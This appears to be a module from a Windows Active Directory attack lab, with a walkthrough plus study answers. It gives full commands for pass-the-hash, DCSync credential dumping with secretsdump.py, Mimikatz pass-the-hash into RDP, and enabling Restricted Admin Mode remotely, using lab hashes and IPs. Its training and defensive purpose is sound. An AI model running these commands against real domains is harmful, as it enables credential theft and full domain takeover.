Module 10
Last updated
Last updated
In the last challenge, we were able to acquire the NTLM hash of the user ffast. If we check again in Bloodhound, we see that this user is part of the domain admin group and has therefore full control over the whole domain:
As done previously, we can use different tools to directly authenticate as ffast to other systems by using the pass-the-hash attack. We have already learned about tools like psexec.py or smbclient.py from the Impacket collection.
However, there are a lot more options available. The Impacket collection provides a lot of interesting tools to interact with other systems based on pass-the-hash.
With domain admin privileges, we could create our own users and assign them any privileges we want within the domain. However, sometimes it might be more interesting to acquire credentials (i.e. NTLM hashes) of already-existing users.
A common technique to acquire these credentials is known as DCSync
This attack can be performed with another tool of the Impacket collection, called secretsdump.py. This tool is also pre-installed on your Linux attack host. To run it, we need the following information:
Username to connect with: ffast
NTLM hash of this user: e4817e3c667f5df2b2b2b0dc37ca25f9
Target username: tmassie
IP of the domain controller: 10.0.1.100
To retrieve the NTLM hash of a certain user (we'll use tmassie in this example), use the following command:
secretsdump.py -hashes :e4817e3c667f5df2b2b2b0dc37ca25f9 -just-dc-user tmassie ffast@10.0.1.100
The NTLM hash is the value 8cf0345c0d74a3efeb598489493cf47b on this line
winattacklab.local\tmassie:1127:aad3b435b51404eeaad3b435b51404ee:8cf0345c0d74a3efeb598489493cf47b:::
This hash can now be used to connect to other systems and services as tmassie.
If you want to dump credential material for all users, you can use the following command:
secretsdump.py -hashes :e4817e3c667f5df2b2b2b0dc37ca25f9 -just-dc ffast@10.0.1.100
Since we don't have the actual credentials (i.e. the password) of user ffast, we cannot use the regular Windows RDP client to open a connection to the domain controller as ffast.
However, Mimikatz can solve this problem. It first loads the credentials of a user (i.e. the username and the hash) into memory, and then uses these credentials to start the terminal client.
sekurlsa::pth /user:ffast /domain:winattacklab.local /ntlm:e4817e3c667f5df2b2b2b0dc37ca25f9 /run:"mstsc.exe /restrictedadmin"
You should now see the terminal client, where you can enter the IP of the DC (10.0.1.100):
As you can see in the above dialog, it tells you that "Your Windows logon credentials wil lbe used to connect". This means that we do not have to provide a password, but instead, the connection will use the credentials we "injected" into memory with Mimikatz. Also, don't worry about the displayed username (backdoor), we will indeed connect as ffast.
Press OK and accept the certificate warning:
You should now see the following message:
The error message you saw indicates that the so-called Restricted Admin Mode is not enabled. This mode allows us to connect to the target machine without actually sending our credentials along (exactly what we need). However, it is not enabled by default.
As we have full control over the target system, we can change this however. Let's go back to our Linux attack host and connect to the DC as ffast using psexec.py:
psexec.py -hashes :e4817e3c667f5df2b2b2b0dc37ca25f9 ffast@10.0.1.100
To enable the Restricted Admin Mode, we need to run the following PowerShell command on the target system:
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -Value '0' -PropertyType DWORD -Force
As atexec.py works with scheduled tasks, we will not get an interactive session, so we simply specify the command to be executed as an argument:
atexec.py -hashes :e4817e3c667f5df2b2b2b0dc37ca25f9 winattacklab.local/ffast@10.0.1.100 "powershell -c New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -Value '0' -PropertyType DWORD -Force"
Output:
Now the restricted admin mode is enabled and we should be able to connect!
What can we do with the hash retrieved from the domain controller using DCSync?
What happens “under-the-hood” when we perform a DCSync attack against the domain controller?
What kind of privileges are required to perfom this attack?
How can Mimikatz make the RDP client use Ffast’s credentials, without knowing the plaintext password?
Why was it still not possible to log in to the domain controller using RDP and the NTLM hash of Ffast?
How did we bypass this RDP security feature?
How could this bypass be prevented?
With DCSync and the retrieved hash it’s possible the get the NTDS.dit.
The DCSync tool request the DC for a domain replication. In other words the DCSync tool behaves like another domain controller. At the end the DCsync tool has the NTDS.dit information.
3. The following rights are required:
Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes In Filtered Set
4. Mimikatz starts mstsc.exe with paramter /restrictedadmin to prevent the authentication with username and password.
5. If the Restricted Admin Mode is enabled on the DC then Mimikatz is able/allowed to perform the authentication with the NTLM hash only.
6. The RDP service performs a network login to the remote device to ensure the user is allowed access but doesn’t require any further input because the NTLM hash that was created during the initial login can be used for authentication (if Restricted Admin Mode is enabled).
7. Prevention/Best Practise: If you follow basic security best practices, you shouldn’t need to use Restricted Admin Mode in most situations. Protect administrator credentials by starting with the following best practices:
Domain administrator accounts should only be used to log in to domain controllers (DCs), and never for administering member servers, supporting end-users’ PCs or joining servers or workstations to the domain.
Every device in your organization should be configured with a unique administrator username and password, for management purposes and remote support. This account should not be the built-in administrator account.
All administrative tasks should be performed from dedicated, secure workstations.
Log in with a standard user account.
